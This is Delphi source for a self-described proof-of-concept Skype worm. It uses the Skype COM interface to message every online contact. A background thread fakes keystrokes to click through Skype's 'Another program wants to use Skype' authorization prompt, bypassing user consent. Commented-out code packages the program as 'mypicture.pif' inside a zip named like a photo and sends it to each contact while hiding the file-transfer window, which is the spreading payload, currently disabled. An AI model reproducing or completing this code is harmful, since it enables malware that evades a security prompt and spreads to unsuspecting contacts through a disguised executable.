program skypo;

uses
  Windows,
  SysUtils,
  SKYPE4COMLib_TLB;//,
  //ZIPIT,
  //CRC;

  var
  Skype:TSkype;
  IUserC:IUserCollection;
  IUser_:IUser;
  IChat_:IChat;
  IChatMsg:IChatMessage;
  FN:PChar;
  ThreadID,TiD:Cardinal;
  tDone:Boolean;
  l,o:Integer;

  const
  POCSPREADMSG: String = 'This is a PoC, Please Ignore it... Please Note This is NOT! a WORM.';


procedure StrToClipbrd(StrValue: string);
var
  S: string;
  hMem: THandle;
  pMem: PChar;
begin
  hMem := GlobalAlloc(GHND or GMEM_SHARE, Length(StrValue) + 1);
  if hMem <> 0 then
  begin
    pMem := GlobalLock(hMem);
    if pMem <> nil then
    begin
      StrPCopy(pMem, StrValue);
      GlobalUnlock(hMem);
      if OpenClipboard(0) then
      begin
        EmptyClipboard;
        SetClipboardData(CF_TEXT, hMem);
        CloseClipboard;
      end
      else
        GlobalFree(hMem);
    end
    else
      GlobalFree(hMem);
  end;
end;

function ByPass:Boolean;
var
ww:HWND;
hh:HWND;
msgw:HWND;
wName:PChar;
i:Integer;
begin
i:=0;
  sleep(200);
  msgw:=FindWindow('TskACLForm.UnicodeClass','Skype'+#99+' - Another program wants to use Skype');
   SetForegroundWindow(msgw);
   sleep(100);
   keybd_event(VK_TAB,0,0,0);
   keybd_event(VK_TAB,0,KEYEVENTF_KEYUP,0);
   sleep(100);
   keybd_event(VK_UP,0,0,0);
   keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);
   sleep(100);
   keybd_event(VK_UP,0,0,0);
   keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);
   sleep(100);
   keybd_event(VK_RETURN,0,0,0);
   keybd_event(VK_RETURN,0,KEYEVENTF_KEYUP,0);
   result:=True;
end;

var
fwind, ww:HWND;
cwind:HWND;
cwindN, custat:String;
zfile:String;
iq:integer;

begin
  if InitProc <> nil then TProcedure(InitProc);
tID:=CreateThread(nil,0,@Bypass,nil,0,ThreadID);

//if Bypass then
begin

Skype:=TSkype.Create(nil);

 { zfile:=ExtractfilePath(Paramstr(0))+'picture-04.zip';
  zip_store(PChar(paramstr(0)),Pchar(zfile),PChar('mypicture.pif'));}

IUserC:=Skype.Friends;

for l:=1 to (IuserC.Count-1) do
begin
IUser_:=IUserC.Item[l];
  if ((IUser_.OnlineStatus > $0) and (IUser_.OnlineStatus < $5)) or (IUser_.OnlineStatus = $7) then
  begin
  IChat_:=Skype.CreateChatWith(String(IUser_.Handle));
  IChat_.OpenWindow;

  IChatMsg:=IChat_.SendMessage(POCSPREADMSG);

  case IUser_.OnlineStatus of
  1: custat := 'Online';
  2: custat := 'Away';
  3: custat := 'NotAvailable';
  4: custat := 'DoNotDisturb';
  5: custat := 'Invisible';
  7: custat := 'SkypeMe';
  end;

  cwindN:=''+(String(IUser_.Handle))+' ('+custat+') Skype '+#99+' Chat';
  ww:=FindWindow('TskMultiChatForm.UnicodeClass',PChar(cwindN));
  Sleep(100);
  SetForegroundWindow(ww);

  {sleep(100);
  keybd_event(VK_TAB,0,0,0);
  keybd_event(VK_TAB,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_TAB,0,0,0);
  keybd_event(VK_TAB,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_APPS,0,0,0);
  keybd_event(VK_APPS,0,KEYEVENTF_KEYUP,0);
  for iq := 0 to 4 do
  begin
   keybd_event(VK_DOWN,0,0,0);
   keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);
  end;
  keybd_event(VK_RETURN,0,0,0);
  keybd_event(VK_RETURN,0,KEYEVENTF_KEYUP,0);
  sleep(200);
  StrToClipbrd(zfile);
  sleep(100);
  keybd_event(VK_CONTROL,0,0,0);
  keybd_event(ord('V'),0,0,0);
  keybd_event(ord('V'),0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_RETURN,0,0,0);
  keybd_event(VK_RETURN,0,KEYEVENTF_KEYUP,0);

  sleep(100);
  keybd_event(VK_MENU,0,0,0);
  keybd_event(VK_F4,0,0,0);
  keybd_event(VK_F4,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
  sleep(100); }
  keybd_event(VK_MENU,0,0,0);
  keybd_event(VK_F4,0,0,0);
  keybd_event(VK_F4,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);

  {SendMessage(ww,$0112,SW_HIDE,0);
  SendMessage(ww,$0112,SC_Minimize,0);
  ShowWindow(ww,SW_HIDE);

  //'TskFileTransferForm.UnicodeClass'
  fwind:=FindWindowA(0,'Skype '+#99+' - Sending File');
  SendMessage(fwind,$0112,SW_HIDE,0);
  SendMessage(fwind,$0112,SC_Minimize,0);
  ShowWindow(fwind,SW_HIDE);}
 end;
end;
end;



end.
